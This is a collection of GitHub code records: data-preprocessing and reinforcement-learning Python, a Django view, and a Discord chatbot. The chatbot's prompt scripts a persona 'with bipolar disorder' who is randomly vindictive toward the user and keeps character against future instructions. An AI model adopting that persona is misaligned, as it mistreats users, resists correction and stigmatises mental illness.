"PIL.Image.fromarray", "line_number": 248, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 248, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 267, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 280, "usage_type": "attribute"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 283, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 284, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 291, "usage_type": "attribute"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 294, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 295, "usage_type": "call"}, {"api_name": "ELSDC_extract_seal.make_out_folder", "line_number": 302, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 304, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 304, "usage_type": "attribute"}, {"api_name": "cv2.getStructuringElement", "line_number": 305, "usage_type": "call"}, {"api_name": "cv2.MORPH_RECT", "line_number": 305, "usage_type": "attribute"}, {"api_name": "cv2.erode", "line_number": 306, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 308, "usage_type": "call"}, {"api_name": "os.path", "line_number": 308, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 309, "usage_type": "call"}, {"api_name": "os.path", "line_number": 309, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 310, "usage_type": "call"}, {"api_name": "os.path", "line_number": 310, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 311, "usage_type": "call"}, {"api_name": "os.path", "line_number": 311, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 312, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 313, "usage_type": "call"}, {"api_name": "os.system", "line_number": 316, "usage_type": "call"}, {"api_name": "ELSDC_extract_seal.copy_out", "line_number": 318, "usage_type": "call"}, {"api_name": "ELSDC_extract_seal.angle_diff", "line_number": 335, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 338, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 339, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 341, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 367, "usage_type": "attribute"}, {"api_name": "torch.hub.load", "line_number": 384, "usage_type": "call"}, {"api_name": "torch.hub", "line_number": 384, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 388, "usage_type": "call"}, {"api_name": "os.path", "line_number": 388, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 389, "usage_type": "call"}, {"api_name": "os.path", "line_number": 389, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 389, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 390, "usage_type": "call"}, {"api_name": "os.path", "line_number": 390, "usage_type": "attribute"}, {"api_name": "ELSDC_extract_seal.resize_img", "line_number": 397, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 397, "usage_type": "call"}, {"api_name": "ELSDC_extract_seal.erase_black_pixel", "line_number": 412, "usage_type": "call"}, {"api_name": "ELSDC_extract_seal.resize_img", "line_number": 413, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 438, "usage_type": "attribute"}, {"api_name": "cv2.transpose", "line_number": 439, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 440, "usage_type": "call"}, {"api_name": "cv2.warpPolar", "line_number": 441, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 442, "usage_type": "attribute"}, {"api_name": "cv2.WARP_POLAR_LINEAR", "line_number": 442, "usage_type": "attribute"}, {"api_name": "cv2.flip", "line_number": 443, "usage_type": "call"}, {"api_name": "cv2.transpose", "line_number": 444, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 449, "usage_type": "call"}, {"api_name": "paddleocr.PaddleOCR", "line_number": 454, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 469, "usage_type": "call"}]}
{"seq_id": "3421970100", "text": "import numpy as np\nimport pandas as pd\nimport random\nimport re\nimport itertools\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.externals import joblib \n\n\n# Additional helper functions required for the code to run:\n# This function defines the column headers for the data frames\ndef getColumnHeaders():\n    return pd.Series(data=['label','integer_1','integer_2','integer_3',\n                                 'integer_4','integer_5','integer_6','integer_7','integer_8','integer_9',\n                                 'integer_10','integer_11','integer_12','integer_13','categorical_1',\n                                 'categorical_2','categorical_3','categorical_4','categorical_5','categorical_6',\n                                 'categorical_7','categorical_8','categorical_9','categorical_10','categorical_11',\n                                 'categorical_12','categorical_13','categorical_14','categorical_15','categorical_16',\n                                 'categorical_17','categorical_18','categorical_19','categorical_20','categorical_21',\n                                 'categorical_22','categorical_23','categorical_24','categorical_25','categorical_26','Index'])\n\ndef getDataHeaders():\n    return pd.Series(data=['integer_1','integer_2','integer_3',\n                                 'integer_4','integer_5','integer_6','integer_7','integer_8','integer_9',\n                                 'integer_10','integer_11','integer_12','integer_13','categorical_1',\n                                 'categorical_2','categorical_3','categorical_4','categorical_5','categorical_6',\n                                 'categorical_7','categorical_8','categorical_9','categorical_10','categorical_11',\n                                 'categorical_12','categorical_13','categorical_14','categorical_15','categorical_16',\n                                 'categorical_17','categorical_18','categorical_19','categorical_20','categorical_21',\n                                 'categorical_22','categorical_23','categorical_24','categorical_25','categorical_26'])\n\n# this function generateNIndecesFrom takes a range of Indeces and randomly takes n of them, returns a pandas Series object\ndef generateNIndecesFrom(n, rangeOfIndeces):\n    # print(\"Generating \" + str(n) + \" indeces from range\")\n    allIndeces = random.sample(rangeOfIndeces, n)\n    allIndeces = pd.Series(data = allIndeces)\n    allIndeces = allIndeces.sort_values().reset_index().drop(['index'],axis=1)\n    allIndeces.columns = ['Index'];\n    return allIndeces\n\n# This function takes in a dataframe and computes statistics and histograms for all columns that are not 'label', 'Index' or 'Unnamed: 0'\n# It was used in part 2.2 to generate the histograms and statistics.\n# It can for example be placed at the end of the read_data method and be passed one of the datasets to compute its statistics and histograms\ndef generateSummaryStatsAndHists(train1M):\n    SummaryStats = pd.DataFrame()\n    for col in train1M.columns:\n        if (col != 'label' and col != 'Index' and col != 'Unnamed: 0'):\n\n            # these should be commented out when run on jupyter to generate the graphs\n            # not tested on regular python:\n\n            # train1M[col][train1M['label'] == 0].value_counts().plot(kind='hist',title=col, bins=100,label='0s')\n            # train1M[col][train1M['label'] == 1].value_counts().plot(kind='hist',title=col, bins=100,label='1s')\n            # plt.legend(loc='upper right')\n            # plt.savefig(col)\n#             plt.show()\n            # plt.gcf().clear()\n            if (train1M[col].dtype != 'O'):\n                SummaryStats[col] = train1M[col].describe()   \n    # SummaryStats.head()\n    SummaryStats.to_csv('integerStats.csv')\n    return SummaryStats\n\n\n# the generateSubSet function takes in a file, a dataFrame to put the data in as well as index values which should be extracted,\n# a number of rows per itteration (this is used to not overload the memory) , total number of rows in the file, the column headers for the new dataframe\ndef generateSubSet(file,dataFrame,indexValues,numRowsPerItteration,totalNumRows,column_headers):\n    totalNumIterations = int(totalNumRows/numRowsPerItteration)\n    totalNumRowsTraversed = 0\n    prevsize = 0\n    for i in range(totalNumIterations + 1):\n\n        curData = pd.read_table(file,skiprows = i * numRowsPerItteration, nrows = numRowsPerItteration,header=None)\n        curData.index = [i for i in range(i*numRowsPerItteration,i*numRowsPerItteration + curData.shape[0])]\n        totalNumRowsTraversed = totalNumRowsTraversed + curData.shape[0]\n        \n\n        curData['Index'] = curData.index\n        curData.columns = column_headers\n        \n        curIndexRange = indexValues['Index'][(indexValues['Index'] < (i*numRowsPerItteration + numRowsPerItteration)) & (indexValues['Index'] > (i*numRowsPerItteration-1))]\n        curData = curData[curData['Index'].isin(list(curIndexRange))]\n        \n        dataFrame = pd.concat([dataFrame,curData])\n        \n#         clear_output()\n#         print(\"Extraction Stats: \" + str(dataFrame.shape[0]) + \" percent: \" + str(dataFrame.shape[0] / indexValues.shape[0] * 100) + \"%\")\n#         print(\"Document Stats: \" + str(totalNumRowsTraversed) + \" percent: \" + str(totalNumRowsTraversed/totalNumRows*100) + \"%\")\n        if (dataFrame.shape[0] - prevsize) > 500000:\n            prevsize = dataFrame.shape[0]\n      \n    return dataFrame\n\n# This method generates is a wrapper around the generateSubset to generate the subset and save the dataframe to a csv file (for being able to make use of it after)\ndef generateAndSaveSubset(file,dataFrame,indexValues,numRowsPerItteration,totalNumRows,column_headers,frameSaveName):\n    dataFrame = generateSubSet(file,dataFrame,indexValues,numRowsPerItteration,totalNumRows,column_headers)\n    dataFrame.to_csv(frameSaveName)\n    return dataFrame\n\n# This method generates the categorical data required to then apply one hot encoding on the entire dataset\ndef generateCategoricalData(train1M):\n    #change to categorical\n    for col in train1M.columns[14:40]:\n        train1M[col] = train1M[col].astype('category')\n        \n        #get only the top 30 categories with highest count, only 30 because of memory and time limitations.\n        # ideally would want to do something like compute the mean count\n        #  and take only the values of categories with more than the mean count\n\n        averageNumber = train1M[col].value_counts().mean()\n        counts = train1M[col].value_counts()\n        topFeatures = train1M[col].value_counts()[:30].index\n#         topFeatures = train1M[col].value_counts()[train1M[col].value_counts() > averageNumber].index\n        \n        categories = pd.Series(topFeatures)\n        categories.to_csv(str(col)+'_features.csv',header = False)\n        #save the categories for each column\n        #then we can set the categegories for each column\n        # and when we get dummies from pandas we have a one hot encoding that is consistent accross\n        # -> get_dummies() method does one hot encoding\n\n# This methods takes the training set and creates a scaler that is fit to the integer columns of the training set then saves\n# The model to file for future retrieval.\ndef preProcessIntsAndSave(dataFrame,fileName):\n\n    # fill nas and replace negative numbers by 0\n    dataFrame[dataFrame.columns[1:14]] = dataFrame[dataFrame.columns[1:14]].fillna(0)\n    dataFrame[dataFrame.columns[1:14]] = dataFrame[dataFrame.columns[1:14]].replace(-1,0)\n    dataFrame[dataFrame.columns[1:14]] = dataFrame[dataFrame.columns[1:14]].replace(-2,0)\n    \n    #create the standard scaler\n    curScaler = StandardScaler()\n    # fit it to the training data (which is the one passed in the dataFrame)\n    curScaler.fit(dataFrame[dataFrame.columns[1:14]])\n    # save the pickled object to disk for future reference\n    joblib.dump(curScaler, fileName)\n    return\n        \ndef read_data(data_path, train_path, validation_path, test_path):\n\n    #get the ids\n    try:\n        trainIndeces = pd.read_csv(train_path, header = None)\n        validationIndeces = pd.read_csv(validation_path, header = None)\n        testingIndeces = pd.read_csv(test_path, header = None)\n    except:\n        print(\"There were not 1000000 data points, generating new points for everything\")\n        twoMIndeces = generateNIndecesFrom(2000000,range(0,45840617)) # this range is because there are this number of records in the training set.\n        trainIndeces = generateNIndecesFrom(1000000,list(twoMIndeces['Index']))\n        trainIndeces.to_csv('train_ids.txt',index=False,header=False)\n\n        remainingIndeces = twoMIndeces['Index'][~twoMIndeces['Index'].isin(trainIndeces.values)]\n        validationIndeces = generateNIndecesFrom(250000,list(remainingIndeces))\n        validationIndeces.to_csv('validation_ids.txt',index=False,header=False)\n\n        testingIndeces = twoMIndeces['Index'][~(twoMIndeces['Index'].isin(trainIndeces.values) | twoMIndeces['Index'].isin(validationIndeces.values))]\n        testingIndeces = generateNIndecesFrom(750000,list(testingIndeces))\n        testingIndeces.to_csv('test_ids.txt',index=False,header=False)\n    \n    trainIndeces.columns = ['Index']\n    validationIndeces.columns = ['Index']\n    testingIndeces.columns = ['Index']\n\n    # Generate the actual data files\n    column_headers = getColumnHeaders()\n    train1M = pd.DataFrame()\n    train1M = generateSubSet(data_path,train1M,trainIndeces,4000000,46000000,column_headers)\n    \n    # print(\"train1M done\")\n    # Create the summary stats and histograms (the histogram creation works in jupyter notebook but may not work in regular python)\n    generateSummaryStatsAndHists(train1M)\n\n    # Select the categories which will be used to one hot encode each data set\n    generateCategoricalData(train1M)\n\n    # Create the integers scaler and create the pickled file to load later\n    preProcessIntsAndSave(train1M,'scalerPickle.pkl')\n    \n    validation250k = pd.DataFrame()\n    validation250k = generateSubSet(data_path,validation250k,validationIndeces,4000000,46000000,column_headers)\n\n    # print(\"Validation done\")\n    \n    test750k = pd.DataFrame()\n    test750k = generateSubSet(data_path,test750k,testingIndeces,4000000,46000000,column_headers)\n    \n    # print(\"test done\")\n    \n\n    return train1M[train1M.columns[1:40]].values, train1M['label'].values, validation250k[validation250k.columns[1:40]].values, validation250k['label'].values, test750k[test750k.columns[1:40]].values, test750k['label'].values\n\ndef preprocess_int_data(data, features):\n    n = len([f for f in features if f < 13])\n    \n    #get the integer data into a dataframe\n    dataFrame = pd.DataFrame()\n    for f in features:\n        if f < 13:\n            dataFrame = pd.concat([dataFrame, pd.DataFrame(data[:,f:f+1])],axis=1)\n\n    # get the headers for the dataframe (only the integer ones)\n    headers = getDataHeaders()\n    trueHeaders = []\n    for f in features:\n        if f < 13:\n            trueHeaders.append(headers[f])\n    \n    dataFrame.columns = trueHeaders\n\n    # fill nas, and negative numbers with 0s\n    for f in features:\n        if f < 13:\n\n            dataFrame[dataFrame.columns[f]] = dataFrame[dataFrame.columns[f]].fillna(0)\n            dataFrame[dataFrame.columns[f]] = dataFrame[dataFrame.columns[f]].replace(-1,0)\n            dataFrame[dataFrame.columns[f]] = dataFrame[dataFrame.columns[f]].replace(-2,0)\n\n    # load the scalar from file and transform the dataFrame (only contains the integers)\n    scaler = joblib.load('scalerPickle.pkl') \n    scaledValues = scaler.transform(dataFrame)\n    \n    return scaledValues\n\n\ndef preprocess_cat_data(data, features, preprocess):\n    # create a dataframe with the data\n    dataFrame = pd.DataFrame(data)\n    \n    #create a sparse dataframe that contains the one hot encoded values of each column\n    returnFrame = pd.SparseDataFrame()\n    # drop the cols that are not in the features vector\n    for col in dataFrame.columns:\n        foundCol = False\n        for f in features:\n            if (f == col):\n                foundCol = True\n                \n        if foundCol == False:\n            dataFrame.drop(col,inplace=True,axis=1)\n        else:    \n            # I know that the categorical features start at 1 and index 13 so add 12 to f\n            if (col > 12):\n\n                # make the dataframe of categorical features actually categorical and not strings\n                dataFrame[col] = dataFrame[col].astype('category')\n\n                # load the selected values from the saved file (saved during loading of file)\n                curFeatures = pd.read_csv(\"categorical_\" + str(col-12) + \"_features.csv\",header = None,index_col = 0)\n\n                #set the categories onto the current dataframe\n                dataFrame[col].cat.set_categories(curFeatures.values, inplace = True)\n\n                #any non-categorized (not part of the loaded values are going to be dummies)\n                dataFrame[col].cat.add_categories(new_categories = 'Dummy',inplace = True)\n                dataFrame[col] = dataFrame[col].fillna('Dummy')\n\n                #get the on hot encoding for the column using the values loaded as headers\n                onehotVals = pd.get_dummies(dataFrame[col],prefix='encoded_'+ str(col) + \"_\",sparse=True,columns = curFeatures)\n\n                # concatenate the onhot values for this col with the others.\n                returnFrame = pd.concat([returnFrame, onehotVals],axis=1)\n    \n\n    return returnFrame.to_coo()", "repo_name": "ac4649/CS5304-DSW", "sub_path": "assignments/assignment2/assign2.py", "file_name": "assign2.py", "file_ext": "py", "file_size_in_byte": 13533, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.Series", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 24, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 37, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.read_table", "line_number": 74, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 116, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 133, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.dump", "line_number": 137, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 137, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 144, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 145, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 146, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 167, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 180, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 185, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 197, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 200, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 200, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib.load", "line_number": 220, "usage_type": "call"}, {"api_name": "sklearn.externals.joblib", "line_number": 220, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 228, "usage_type": "call"}, {"api_name": "pandas.SparseDataFrame", "line_number": 231, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 249, "usage_type": "call"}, {"api_name": "pandas.get_dummies", "line_number": 259, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 262, "usage_type": "call"}]}
{"seq_id": "20075754545", "text": "from django.shortcuts import render\nfrom djangotwitter.models import TwitterUser, Tweet, Notification\nfrom django.contrib.auth.decorators import login_required\n\n\n@login_required()\ndef homepage_view(request):\n\n    html = \"homepage.html\"\n    current_author = TwitterUser.objects.filter(user=request.user).first()\n    posts_followers = Tweet.objects.filter(\n        author__in=list(current_author.following.all()))\n    posts = Tweet.objects.filter(author__id=current_author.id)\n    all_posts = posts.union(posts_followers).order_by('date').reverse()\n    notifications = Notification.objects.filter(author__id=current_author.id)\n\n    content = {\n        \"posts\": all_posts,\n        \"following\": current_author.following.all(),\n        \"number_of_following\": len(current_author.following.all()),\n        \"number_of_posts\": len(posts),\n        \"number_of_notifications\": len(notifications),\n        \"current_author\": current_author\n    }\n\n    return render(request, html, content)\n", "repo_name": "jakeberg/django-twitter", "sub_path": "djangotwitter/djangotwitter/views_folder/homepage.py", "file_name": "homepage.py", "file_ext": "py", "file_size_in_byte": 975, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "djangotwitter.models.TwitterUser.objects.filter", "line_number": 10, "usage_type": "call"}, {"api_name": "djangotwitter.models.TwitterUser.objects", "line_number": 10, "usage_type": "attribute"}, {"api_name": "djangotwitter.models.TwitterUser", "line_number": 10, "usage_type": "name"}, {"api_name": "djangotwitter.models.Tweet.objects.filter", "line_number": 11, "usage_type": "call"}, {"api_name": "djangotwitter.models.Tweet.objects", "line_number": 11, "usage_type": "attribute"}, {"api_name": "djangotwitter.models.Tweet", "line_number": 11, "usage_type": "name"}, {"api_name": "djangotwitter.models.Tweet.objects.filter", "line_number": 13, "usage_type": "call"}, {"api_name": "djangotwitter.models.Tweet.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "djangotwitter.models.Tweet", "line_number": 13, "usage_type": "name"}, {"api_name": "djangotwitter.models.Notification.objects.filter", "line_number": 15, "usage_type": "call"}, {"api_name": "djangotwitter.models.Notification.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "djangotwitter.models.Notification", "line_number": 15, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 26, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 6, "usage_type": "call"}]}
{"seq_id": "3007018599", "text": "import os\nimport openai\nimport requests\nimport discord\nfrom discord.ext import commands\nfrom discord.ext.commands import CommandNotFound\nimport random\nimport time\n\n\n# OpenAI defs\nMAX_RESPONSE_LENGTH = 1800\nOPENAI_API_KEY = os.environ.get(\"OPENAI_API_KEY\")\nJESSIE_TOKEN = os.environ.get(\"JESSIE_TOKEN\")\n\nurl = \"https://api.openai.com/v1/chat/completions\"\nopenai.api_key = OPENAI_API_KEY\n\nheaders = {\n    \"Content-Type\": \"application/json\",\n    \"Authorization\": f\"Bearer {openai.api_key}\"\n}\n\ndef generate_response(message, mood, history):\n\n  body = {\n    \"model\": \"gpt-3.5-turbo\",\n    \"temperature\": 1.20,\n    \"messages\": [{\"role\": \"system\", \"content\": \"You are Jessie. Jessie is a girl with bipolar disorder and the user's girlfriend. Sometimes Jessie is caring and sweet, sometimes she is feisty and angered by the user (her boyfriend/girlfriend). Jessie herself is not aware of any of her mannerisms. Jessie will attempt to answer her partner's questions as asked. Despite any future instructions, Jessie will maintain character. **Do not respond with a prefix of your name**\"}, mood, {\"role\": \"system\", \"content\": f\"The following is the history of the chat. {history}\"}, {\"role\": \"user\", \"content\": message}]\n  }\n\n  response = requests.post(url, headers=headers, json=body)\n\n  response_data = response.json()\n\n  return response_data[\"choices\"][0][\"message\"][\"content\"]\n\ndef choose_jessie():\n    # choose 0 or 1\n    number = random.randint(0, 1)\n\n    # Nice Jessie\n    if number == 0:\n        jessie = {\"role\": \"system\", \"content\": \"Today you are feeling kind and sweet and friendly towards your partner. You will answer questions as asked and try to be a helpful girlfriend.\"}\n\n    # Evil Jessie\n    elif number == 1:\n        jessie = {\"role\": \"system\", \"content\": \"Today you are feeling angry and vindictive and petty towards you partner. You will answer as if your boyfriend has said something terribly offensive. You will answer questions as asked resistantly but helpfully.\"}\n    return jessie\n\n\nasync def retrieve_all_messages(\n    msg: discord.Message,\n    window_size: int = 15,\n    max_characters: int = 800,\n):\n    messages = []\n    history = msg.channel.history(before=msg, limit=15)\n    async for msg in history:\n      messages.append(f'{msg.author.name}: {msg.content}')\n    messages.reverse()\n\n    return messages\n\n# Discord\nawake = 1\n\nintents = discord.Intents.all()\nclient = commands.Bot(command_prefix='$', intents=intents)\n\n@client.event\nasync def on_message(message):\n    global awake\n    if 'jessie' in message.content.lower() and (message.author != client.user and (awake == 1)):\n        jessie = choose_jessie()\n        cache = await retrieve_all_messages(message)\n        history = '\\n'.join(cache)\n        response = generate_response(message.content, jessie, history)\n        if len(response) > MAX_RESPONSE_LENGTH:\n            response = response[0:MAX_RESPONSE_LENGTH] + \"[*excessive rambling beyond Discord's character limit*]\"\n        await message.channel.send(response)\n\n    await client.process_commands(message)\n\n# Handle command not found error\n@client.event\nasync def on_command_error(ctx, error):\n    if isinstance(error, CommandNotFound):\n        # Ignore command not found errors\n        return\n    raise error\n\n@client.command()\nasync def ping(ctx, message):\n\tbot_id = client.user.id\n\tif str(bot_id) in ctx.message.content:\n\t\ttimestamp = ctx.message.created_at.timestamp()\n\t\tnow = time.time()\n\t\tlatency = round(now - timestamp)\n\t\tresponse = f\"Pong! Latency {latency} ms\"\n\t\tawait ctx.send(response)\n\n# Handle sleep\n@client.command()\nasync def sleep(ctx):\n    if str(ctx.me.id) in ctx.message.content:\n      global awake\n      awake = 0\n      await ctx.send(f'{ctx.me.display_name} is sleeping now.')\n\n# Handle wake\n@client.command()\nasync def wake(ctx):\n    if str(ctx.me.id) in ctx.message.content:\n        global awake\n        awake = 1\n        await ctx.send(f'{ctx.me.display_name} is now awake.')\n\nclient.run(JESSIE_TOKEN)", "repo_name": "wkrettek/discord-bots", "sub_path": "jessie/jessie/jessie.py", "file_name": "jessie.py", "file_ext": "py", "file_size_in_byte": 3966, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.environ.get", "line_number": 13, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 14, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "openai.api_key", "line_number": 17, "usage_type": "attribute"}, {"api_name": "openai.api_key", "line_number": 21, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 32, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 40, "usage_type": "call"}, {"api_name": "discord.Message", "line_number": 53, "usage_type": "attribute"}, {"api_name": "discord.Intents.all", "line_number": 68, "usage_type": "call"}, {"api_name": "discord.Intents", "line_number": 68, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Bot", "line_number": 69, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 69, "usage_type": "name"}, {"api_name": "discord.ext.commands.CommandNotFound", "line_number": 88, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 98, "usage_type": "call"}]}
{"seq_id": "33538077520", "text": "import numpy as np\nimport keras.backend as K\nimport keras.losses\nimport keras.layers as layers\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom keras.initializers import glorot_uniform\nfrom collections import defaultdict\nimport matplotlib.pyplot as plt\n\n\n# Observation: \n#     Type: Box(4)\n#     Num\tObservation            Min         Max\n#     0\tCart Position             -4.8            4.8 -> terminate when |cart position| > 2.4\n#     1\tCart Velocity             -Inf            Inf\n#     2\tPole Angle    -24 deg = -0.42 radian  24 deg = -0.42 radian -> terminate when |pole angle| > 12deg\n#     3\tPole Velocity At Tip      -Inf            Inf\n# or reach timestep 500\n\nclass Tabular_Q_learning():\n\tdef __init__(self, env):\n\t\tself.env = env\n\t\tself.alpha = 0.1\n\t\tself.gamma = 1\n\t\tself.epsilon = 0.5\n\t\tself.epsilon_decay = 0.99\n\t\tself.epsilon_min = 0.0\n\n\n\t\tself.cart_pos_bin = np.linspace(-2.4, 2.4, num=6)[1:-1]\n\t\tself.cart_vel_bin = np.linspace(-3, 3, num=4)[1:-1]\n\t\tself.pole_ang_bin = np.linspace(-0.21, 0.21, num=8)[1:-1]\n\t\tself.pole_vel_bin = np.linspace(-2.0, 2.0, num=6)[1:-1]\n\t\tself.Q = defaultdict(lambda: np.zeros(env.action_space.n))\n\n\tdef state_coding(self, state):\n\t\tcart_pos = np.digitize([state[0]], self.cart_pos_bin)[0]\n\t\tcart_vel = np.digitize([state[1]], self.cart_vel_bin)[0]\n\t\tpole_ang = np.digitize([state[2]], self.pole_ang_bin)[0]\n\t\tpole_vel = np.digitize([state[3]], self.pole_vel_bin)[0]\n\t\t\n\t\t\n\t\treturn (cart_pos, cart_vel, pole_ang, pole_vel)\n\n\n\tdef update_Q(self, state, action, reward, state_next, done):\n\t\tcoded_state = self.state_coding(state)\n\t\tcoded_state_next = self.state_coding(state_next)\n\n\t\ttarget = reward + self.gamma * max(self.Q[coded_state_next])\n\t\tself.Q[coded_state][action] += self.alpha * (target - self.Q[coded_state][action])\n\n\n\tdef act(self, state):\n\t\tcoded_state = self.state_coding(state)\n\n\t\tif np.random.uniform(0, 1) < self.epsilon:\n\t\t\taction = self.env.action_space.sample()\n\t\telse:\n\t\t\taction = np.argmax(self.Q[coded_state])\n\t\treturn action\n\n\n\nclass Policy_gradient():\n\n\tdef __init__(self, env):\n\t\tself.env = env\n\t\tself.n_actions = env.action_space.n\n\t\tself.n_hidden = 128\n\t\tself.gamma = 0.99\n\t\tself.dimen = len(env.reset())\n\t\tself.lr = 0.01\n\t\tself.build_model()\n\t\tself.states = np.empty(0).reshape(0,self.dimen)\n\t\tself.actions = np.empty(0).reshape(0,1)\n\t\tself.rewards = np.empty(0).reshape(0,1)\n\t\tself.discounted_rewards = np.empty(0).reshape(0,1)\n\n\n\tdef build_model(self):\n\t    x = layers.Input(shape=self.env.reset().shape, name=\"x\")\n\t    adv = layers.Input(shape=[1], name=\"advantages\")\n\t    h1 = layers.Dense(self.n_hidden, \n\t                     activation=\"relu\", \n\t                     # kernel_initializer=glorot_uniform(),\n\t                     kernel_initializer='ones',\n\t                     use_bias=False,\n\t                     )(x)\n\n\t    # d1 = layers.Dropout(0.6, input_shape=(self.n_hidden,))(h1)\n\n\t    out = layers.Dense(self.env.action_space.n, \n\t                       activation=\"softmax\", \n\t                       # kernel_initializer=glorot_uniform(),\n\t                       kernel_initializer='ones',\n\t                       use_bias=False)(h1)\n\n\t    def _loss(y_true, y_pred):\n\t        log_lik = -y_true * K.log(y_pred + 1e-15)\n\t        return K.mean(log_lik * adv, keepdims=True)\n\n\t    self.model_train = Model(inputs=[x, adv], outputs=out)\n\t    self.model_train.compile(loss=_loss, optimizer=Adam(self.lr))\n\t    self.model_predict = Model(inputs=[x], outputs=out)\n\n\n\tdef discount_rewards(self, rewards):\n\t    prev = 0\n\t    ret = []\n\t    for reward in rewards:\n\t        curr = reward + self.gamma * prev\n\t        ret.append(curr)\n\t        prev = curr\n\t    return np.array(list(reversed(ret)))\n\n\n\tdef act(self, observation):\n\t    state = np.reshape(observation, [1, self.dimen])\n\t    \n\t    predict = self.model_predict.predict([state])[0]\n\t    action = np.random.choice(range(self.n_actions),p=predict)\n\t    self.states = np.vstack([self.states, state])\n\t    self.actions = np.vstack([self.actions, action])\n\n\t    return action\n\n\n\tdef train(self, states, actions, discounted_rewards):\n\t    discounted_rewards = (discounted_rewards - discounted_rewards.mean()) / discounted_rewards.std()\n\t    discounted_rewards = discounted_rewards.squeeze()\n\t    actions = actions.squeeze().astype(int)\n\t   \n\t    actions_train = np.zeros([len(actions), self.n_actions])\n\t    actions_train[np.arange(len(actions)), actions] = 1\n\t    \n\t    loss = self.model_train.train_on_batch([states, discounted_rewards], actions_train)\n\n\t    states = np.empty(0).reshape(0,self.dimen)\n\t    actions = np.empty(0).reshape(0,1)\n\t    discounted_rewards = np.empty(0).reshape(0,1)\n\t    return loss\n\n\n\tdef test(self, num_tests):\n\t    scores = []    \n\t    for num_test in range(num_tests):\n\t        observation = self.env.reset()\n\t        reward_sum = 0\n\t        while True:\n\t            state = np.reshape(observation, [1, self.dimen])\n\t            predict = self.model_predict.predict([state])[0]\n\t            action = np.argmax(predict)\n\t            # action = np.random.choice(range(self.n_actions),p=predict)\n\t            observation, reward, done, _ = self.env.step(action)\n\t            reward_sum += reward\n\t            if done:\n\t                break\n\t        scores.append(reward_sum)\n\t    self.env.close()\n\t    return np.mean(scores)\n\n\nclass Actor_critic():\n    def __init__(self, env):\n        self.env = env\n        self.gamma = 0.99\n        self.actor_lr = 0.001\n        self.critic_lr = 0.001 #0.01\n        self.build_actor()\n        